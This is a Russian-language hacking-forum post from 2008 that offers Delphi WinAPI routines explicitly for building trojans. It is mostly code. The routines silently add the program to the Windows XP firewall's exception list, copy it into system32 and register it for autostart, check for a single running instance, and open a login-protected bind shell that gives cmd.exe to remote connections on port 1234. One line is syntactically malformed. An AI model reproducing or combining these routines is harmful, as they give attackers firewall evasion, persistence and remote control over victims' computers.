Показать сообщение отдельно

  #14  
Старый 03.10.2008, 16:05
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


По умолчанию

Простые, но всёже полезные функции для различного рода троянов и тому подобных вещей.
Весь код - на API - по этому легко реализуется в независимо от использования VCL и сторонних компонентов.
И так приступим.
1) Обход встроенного в винду фаервола:
Добавляет саму себя в обход фаера
Код:
procedure fuck_xpfw;
var
 key:longword;
 ValueName:array[0..255] of char;
 Value:string;
const
path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List';

begin
 if RegOpenKeyEx($80000002, path, 0, LOngword($F003F), key)<>0 then exit;
 GetModuleFileName(GetModuleHandle(nil), ValueName, 256);
 Value:=ValueName+':*:Enabled:RPC';
 RegSetValueEx(key, ValueName, 0, 1, pchar(Value), length(Value));
 RegCloseKey(key);
end;
2) Копирование себя в windows и прописывает в автозагрузке:

Код:
function windir:string; // возвращает путь к папке windows
var
a:array[0..144] of char;
begin
 GetWindowsDirectory(a, sizeof(a)); // получение пути к папке Windows
result:=a;
end;

procedure install(name,about:string);
var
 key:longword;
 s:string;
begin
  s:=windir+'\system32\'+name;
 CopyFile(pchar(paramstr(0)),pchar(s),false);
 RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
 RegSetValueEx(Key, pchar(about), 0,1, pchar(s), length(s));
 RegCloseKey(Key);
end;
3) Проверка на повторную загрузку:
Код:
function isRun:boolean;
begin
 CreateFileMapping($FFFFFFFF, nil, 4, 0, 127,'MemFileName');
 if GetLastError=183 then result:=true else result:=false;
end;
4) Шелл:
C авторизацией
Код:
procedure RunShell;
const
 PORT=1234;
LOGIN='login';
var
StartupInfo:_STARTUPINFOA;
addr,caddr:tsockaddrin;
ProcessInformation:_PROCESS_INFORMATION;
addrlen:integer;
cl:LongWord;
l:integer;
s:string;
c:char;
begin
sock:=WSASocketA(2,1,6,nil,0,0);
if sock=INVALID_SOCKET then exit;
addr.sin_family:=AF_INET;
addr.sin_addr.s_addr:=0;
addr.sin_port:=htons(PORT);
 bind(sock,@addr, sizeof(addr))=0;
listen(sock,$7FFFFFFF);
addrlen:=sizeof(caddr);
while 1=1 do
 begin
  cl:=accept(sock,caddr,addrlen);
  if cl=INVALID_SOCKET then continue;
  s:='';
  repeat
   l:=recv(cl,c,1,0);
   s:=s+c;
   if length(s)>16 then l:=-1;
  until (l<=0) or (s=LOGIN);
  if l<=0 then
   begin
    closesocket(cl);
    continue;
   end;
  fillchar(StartupInfo,sizeof(StartupInfo),0);
  StartupInfo.cb:=sizeof(StartupInfo);
  StartupInfo.dwFlags:=$100;
  StartupInfo.hStdInput:=cl;
  StartupInfo.hStdOutput:=cl;
  StartupInfo.hStdError:=cl;
  CreateProcessA(nil,'cmd.exe',nil,nil,$00000001,$8000040,nil,nil,StartupInfo,ProcessInformation);
end;
closesocket(sock);
end;
 
Ответить с цитированием